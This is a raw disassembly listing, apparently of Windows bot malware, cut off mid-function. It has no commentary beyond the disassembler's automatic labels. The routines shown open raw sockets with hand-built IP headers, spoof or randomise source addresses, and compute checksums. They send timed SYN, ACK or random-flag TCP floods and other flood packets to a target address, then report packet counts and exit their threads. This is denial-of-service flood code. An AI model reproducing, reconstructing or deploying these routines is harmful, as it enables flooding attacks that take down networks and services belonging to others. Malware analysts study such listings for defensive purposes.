		call	dword_4CE36C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4148B0
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_42813C	; QueryPerformanceCounter
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414897
		jl	loc_414753
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jb	loc_414753


loc_414897:				; CODE XREF: sub_414628+25Bj
		mov	ebx, [ebp+arg_8]


loc_41489A:				; CODE XREF: sub_414628+78j
					; sub_414628+2AFj
		push	[ebp+var_C]
		call	dword_4CE3A0	; closesocket
		pop	esi


loc_4148A4:				; CODE XREF: sub_414628+5Bj
		call	dword_4CE260	; WSACleanup
		mov	eax, ebx


loc_4148AC:				; CODE XREF: sub_414628+3Bj
		pop	edi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4148B0:				; CODE XREF: sub_414628+247j
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_439D3C
		push	eax
		call	sub_41BEF6
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415F45
		add	esp, 10h
		jmp	short loc_41489A
sub_414628	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148D9	proc near		; CODE XREF: sub_41458C+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A7C5
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_41BDE9
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_41BDE9
		mov	edi, eax
		call	sub_41BF52
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_414628
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_414922
		inc	eax


loc_414922:				; CODE XREF: sub_4148D9+46j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4148D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414931	proc near		; DATA XREF: sub_401AA1+6C9Bo

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41BDE9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CE348	; inet_addr
		push	eax
		call	sub_4149D2
		push	eax
		lea	eax, [ebp+var_394]
		push	offset dword_439D5C
		push	eax
		call	sub_41BEF6
		xor	esi, esi
		add	esp, 14h
		cmp	[ebp+var_8], esi
		jnz	short loc_4149B3
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409743
		add	esp, 14h


loc_4149B3:				; CODE XREF: sub_414931+60j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_415F45
		push	[ebp+var_10]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
		pop	edi
		pop	esi
sub_414931	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149D2	proc near		; CODE XREF: sub_414931+41p

var_98		= word ptr -98h
var_96		= word ptr -96h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		xor	ecx, ecx
		push	6
		inc	ecx
		pop	edx
		mov	ebx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi
		call	sub_41D635
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	dword_4CE31C	; gethostname
		push	[ebp+var_4]
		call	dword_4CE38C	; gethostbyname
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	dword_4CE388	; socket
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	dword_4CE2E8	; setsockopt
		mov	esi, 200h
		push	esi
		call	sub_41BB45
		mov	edi, dword_4280B0
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi	; GetTickCount
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	dword_4CE308	; ntohs
		mov	[ebp+var_96], ax
		jmp	loc_414BBC
; ---------------------------------------------------------------------------


loc_414AF2:				; CODE XREF: sub_4149D2+1FBj
		call	sub_41BF52
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_41BF52
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_41BF52
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_41BF52
		mov	[ebp+var_20], ax
		call	sub_41BF52
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	dword_4CE308	; ntohs
		push	esi
		mov	[ebp+var_1E], ax
		call	dword_4CE308	; ntohs
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_41BF52
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_40A92E
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	near ptr sub_41C9B0
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_4CE36C	; sendto


loc_414BBC:				; CODE XREF: sub_4149D2+11Bj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_10]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+arg_4]
		jbe	loc_414AF2
		push	[ebp+var_8]
		call	sub_41B721
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CE3A0	; closesocket
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_4149D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414BED	proc near		; DATA XREF: sub_401AA1+52F1o

var_440		= byte ptr -440h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_1BC		= byte ptr -1BCh
var_13C		= byte ptr -13Ch
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_8C		= byte ptr -8Ch
var_80		= byte ptr -80h
var_78		= byte ptr -78h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= word ptr -44h
var_42		= word ptr -42h
var_40		= dword	ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 440h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_240]
		rep movsd
		xor	esi, esi
		push	0Eh
		inc	esi
		xor	ebx, ebx
		mov	[eax+19Ch], esi
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_9F]
		mov	[ebp+var_A0], bl
		rep stosd
		stosw
		stosb
		mov	edi, dword_4280B0
		call	edi	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_4CE388	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_414CB6
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_439E78
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414C96
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409743
		add	esp, 14h


loc_414C96:				; CODE XREF: sub_414BED+84j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415F45
		push	[ebp+var_BC]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_414CB6:				; CODE XREF: sub_414BED+61j
		lea	ecx, [ebp+var_34]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_34], esi
		call	dword_4CE2E8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414D34
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_439E40
		push	eax
		call	sub_41BEF6
		add	esp, 0Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_414D14
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409743
		add	esp, 14h


loc_414D14:				; CODE XREF: sub_414BED+102j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415F45
		push	[ebp+var_BC]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_414D34:				; CODE XREF: sub_414BED+DFj
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CE348	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414DA4
		lea	eax, [ebp+var_440]
		push	offset unk_439E20
		push	eax
		call	sub_41BEF6
		cmp	[ebp+var_A8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_414D84
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409743
		add	esp, 14h


loc_414D84:				; CODE XREF: sub_414BED+172j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415F45
		push	[ebp+var_BC]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_414DA4:				; CODE XREF: sub_414BED+157j
		push	10h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	ebx
		call	dword_4CE308	; ntohs
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_23C]
		push	eax
		call	dword_4CE348	; inet_addr
		mov	[ebp+var_40], eax
		mov	[ebp+arg_0], ebx
		call	edi	; GetTickCount
		mov	[ebp+var_30], eax
		jmp	loc_41500C
; ---------------------------------------------------------------------------


loc_414DE1:				; CODE XREF: sub_414BED+433j
		push	28h
		mov	[ebp+var_2C], 45h
		call	dword_4CE308	; ntohs
		cmp	[ebp+var_B0], ebx
		mov	[ebp+var_2A], ax
		mov	[ebp+var_28], si
		mov	[ebp+var_26], bx
		mov	[ebp+var_24], 80h
		mov	[ebp+var_23], 6
		mov	[ebp+var_22], bx
		jz	short loc_414E3A
		call	sub_41BF52
		mov	esi, eax
		shl	esi, 8
		call	sub_41BF52
		add	esi, eax
		shl	esi, 8
		call	sub_41BF52
		add	esi, eax
		shl	esi, 8
		call	sub_41BF52
		add	esi, eax
		mov	[ebp+var_20], esi
		xor	esi, esi
		inc	esi
		jmp	short loc_414E50
; ---------------------------------------------------------------------------


loc_414E3A:				; CODE XREF: sub_414BED+21Ej
		push	[ebp+var_240]
		call	sub_40A8D5
		pop	ecx
		push	eax
		call	dword_4CE348	; inet_addr
		mov	[ebp+var_20], eax


loc_414E50:				; CODE XREF: sub_414BED+24Bj
		mov	eax, [ebp+var_40]
		cmp	[ebp+var_B8], ebx
		mov	[ebp+var_1C], eax
		jnz	short loc_414E6E
		call	sub_41BF52
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_414E74
; ---------------------------------------------------------------------------


loc_414E6E:				; CODE XREF: sub_414BED+26Fj
		push	[ebp+var_B8]


loc_414E74:				; CODE XREF: sub_414BED+27Fj
		call	dword_4CE308	; ntohs
		mov	[ebp+var_16], ax
		call	sub_41BF52
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4CE308	; ntohs
		push	12345678h
		mov	[ebp+var_18], ax
		call	dword_4CE304	; ntohl
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_1BC]
		push	offset aSyn	; "syn"
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EC4
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 2
		jmp	short loc_414F20
; ---------------------------------------------------------------------------


loc_414EC4:				; CODE XREF: sub_414BED+2CCj
		lea	eax, [ebp+var_1BC]
		push	offset aAck	; "ack"
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414EE4
		mov	[ebp+var_10], ebx
		mov	[ebp+var_B], 10h
		jmp	short loc_414F20
; ---------------------------------------------------------------------------


loc_414EE4:				; CODE XREF: sub_414BED+2ECj
		lea	eax, [ebp+var_1BC]
		push	offset aRandom_0 ; "random"
		push	eax
		call	sub_41BF70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_414F20
		call	sub_41BF52
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_10], edx
		call	sub_41BF52
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_B], dl


loc_414F20:				; CODE XREF: sub_414BED+2D5j
					; sub_414BED+2F5j ...
		push	200h
		mov	[ebp+var_C], 50h
		call	dword_4CE308	; ntohs
		mov	[ebp+var_A], ax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_64], eax
		mov	eax, [ebp+var_1C]
		push	14h
		mov	[ebp+var_6], bx
		mov	[ebp+var_8], bx
		mov	[ebp+var_60], eax
		mov	[ebp+var_5C], bl
		mov	[ebp+var_5B], 6
		call	dword_4CE308	; ntohs
		mov	[ebp+var_5A], ax
		lea	eax, [ebp+var_64]
		push	20h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_A0]
		push	34h
		push	eax
		call	sub_40A92E
		mov	[ebp+var_8], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_18]
		push	14h
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		call	near ptr sub_41C9B0
		push	4
		lea	eax, [ebp+var_78]
		push	ebx
		push	eax
		call	sub_41BC00
		add	esp, 44h
		lea	eax, [ebp+var_A0]
		push	28h
		push	eax
		call	sub_40A92E
		mov	[ebp+var_22], ax
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	near ptr sub_41C9B0
		add	esp, 14h
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A0]
		push	3Ch
		push	eax
		push	[ebp+var_4]
		call	dword_4CE36C	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_4150B7
		inc	[ebp+arg_0]


loc_41500C:				; CODE XREF: sub_414BED+1EFj
		call	edi	; GetTickCount
		sub	eax, [ebp+var_30]
		mov	ecx, 3E8h
		xor	edx, edx
		div	ecx
		cmp	eax, [ebp+var_B4]
		jbe	loc_414DE1
		push	[ebp+var_4]
		call	dword_4CE3A0	; closesocket
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_B4]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_1BC]
		push	eax
		lea	eax, [ebp+var_440]
		push	offset unk_439DD0
		push	eax
		call	sub_41BEF6
		add	esp, 1Ch
		cmp	[ebp+var_A8], ebx
		jnz	short loc_415097
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409743
		add	esp, 14h


loc_415097:				; CODE XREF: sub_414BED+485j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415F45
		push	[ebp+var_BC]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread


loc_4150B7:				; CODE XREF: sub_414BED+416j
		push	[ebp+var_4]
		call	dword_4CE3A0	; closesocket
		call	dword_4CE29C	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_23C]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_439D80
		lea	eax, [ebp+var_440]
		push	200h
		push	eax
		call	sub_41BFF0
		add	esp, 18h
		cmp	[ebp+var_A8], ebx
		jnz	short loc_415115
		push	ebx
		lea	eax, [ebp+var_440]
		push	[ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_240]
		call	sub_409743
		add	esp, 14h


loc_415115:				; CODE XREF: sub_414BED+503j
		lea	eax, [ebp+var_440]
		push	eax
		call	sub_415F45
		push	[ebp+var_BC]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4280D4	; ExitThread
sub_414BED	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415135	proc near		; CODE XREF: sub_41523E+196p
					; sub_41523E+1FFp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ecx, 1
		mov	[ebp+arg_4], esi
		jle	short loc_415163
		lea	eax, [ecx-2]
		push	edi
		shr	eax, 1
		inc	eax
		lea	edi, [eax+eax]
		sub	ecx, edi


loc_415155:				; CODE XREF: sub_415135+28j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	eax
		jnz	short loc_415155
		pop	edi
		cmp	ecx, 1


loc_415163:				; CODE XREF: sub_415135+12j
		jnz	short loc_415170
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_415170:				; CODE XREF: sub_415135:loc_415163j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_415135	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415189	proc near		; DATA XREF: sub_401AA1+6BCAo

var_394		= byte ptr -394h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_194]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41BDE9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	dword_4CE348	; inet_addr
		push	eax
		lea	esi, [ebp+var_194]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_41523E
		push	eax
		lea	eax, [ebp+var_394]
		push	offset unk_439EAC
		push	eax
		call	sub_41BEF6
		xor	esi, esi
		add	esp, 1A8h
		cmp	[ebp+var_8], esi
		jnz	short loc_415221
		push	esi
		lea	eax, [ebp+var_394]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_194]
		call	sub_409743
		add	esp, 14h


loc_415221:				; CODE XREF: sub_415189+76j
		lea	eax, [ebp+var_394]
		push	eax
		call	sub_415F45
		push	[ebp+var_10]
		call	sub_40B56A
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4280D4	; ExitThread
sub_415189	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41523E	proc near		; CODE XREF: sub_415189+54p

var_C8		= byte ptr -0C8h
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_9F		= byte ptr -9Fh
var_9E		= word ptr -9Eh
var_9C		= byte ptr -9Ch
var_88		= byte ptr -88h
var_74		= word ptr -74h
var_72		= word ptr -72h
var_70		= dword	ptr -70h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5F		= byte ptr -5Fh
var_5E		= byte ptr -5Eh
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4E		= word ptr -4Eh
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= word ptr -46h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= word ptr -3Ch
var_3A		= word ptr -3Ah
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_194		= dword	ptr  19Ch
arg_198		= dword	ptr  1A0h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		mov	esi, dword_4280B0
		push	edi
		call	esi	; GetTickCount
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CE388	; socket
		mov	[ebp+var_8], eax
		call	esi	; GetTickCount
		push	eax
		call	sub_41BF48
		pop	ecx
		mov	ebx, 578h
		push	ebx
		push	9
		push	1
		call	sub_418D19
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		mov	esi, 5A0h


loc_415297:				; CODE XREF: sub_41523E+224j
		call	dword_4280B0	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_198]
		ja	loc_415467
		cmp	dword_4D1A8C, 0
		jnz	short loc_415316
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41BC00
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CE2AC	; getsockname
		push	0FFh
		push	1
		call	sub_418D19
		push	eax
		movzx	eax, [ebp+var_5E]
		push	eax
		movzx	eax, [ebp+var_5F]
		push	eax
		movzx	eax, [ebp+var_60]
		push	eax
		lea	eax, [ebp+var_C8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_41BEF6
		add	esp, 20h
		jmp	short loc_415329
; ---------------------------------------------------------------------------


loc_415316:				; CODE XREF: sub_41523E+7Ej
		lea	eax, [ebp+var_C8]
		push	offset dword_4D1470
		push	eax
		call	sub_41C520
		pop	ecx
		pop	ecx


loc_415329:				; CODE XREF: sub_41523E+D6j
		lea	eax, [ebp+var_C8]
		push	eax
		call	dword_4CE348	; inet_addr
		mov	edi, eax
		mov	eax, [ebp+var_54]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	[ebp+var_50], 10h
		mov	[ebp+var_54], eax
		call	dword_4CE308	; ntohs
		mov	[ebp+var_4E], ax
		call	sub_41BF52
		and	[ebp+var_46], 0
		mov	[ebp+var_4C], ax
		mov	eax, [ebp+arg_194]
		mov	[ebp+var_4A], 40h
		mov	[ebp+var_48], 40h
		mov	[ebp+var_47], 6
		mov	[ebp+var_44], edi
		mov	[ebp+var_40], eax
		call	sub_41BF52
		mov	[ebp+var_3C], ax
		call	sub_41BF52
		mov	[ebp+var_3A], ax
		call	sub_41BF52
		mov	[ebp+var_38], eax
		call	sub_41BF52
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_30]
		and	al, 50h
		mov	edi, [ebp+var_40]
		or	al, 50h
		and	[ebp+var_2A], 0
		and	[ebp+var_28], 0
		mov	word ptr [ebp+var_30], ax
		mov	ax, [ebp+var_3A]
		push	14h
		mov	[ebp+var_72], ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	byte ptr [ebp+var_30+2], 18h
		mov	[ebp+var_2C], 787Dh
		mov	[ebp+var_74], 2
		mov	[ebp+var_70], edi
		call	sub_415135
		and	[ebp+var_A0], 0
		pop	ecx
		pop	ecx
		mov	[ebp+var_46], ax
		mov	eax, [ebp+var_44]
		push	58Ch
		mov	[ebp+var_A8], eax
		mov	[ebp+var_A4], edi
		mov	[ebp+var_9F], 6
		call	dword_42820C	; ntohs
		mov	[ebp+var_9E], ax
		lea	eax, [ebp+var_9C]
		push	14h
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	near ptr sub_41C9B0
		lea	eax, [ebp+var_88]
		push	ebx
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		call	near ptr sub_41C9B0
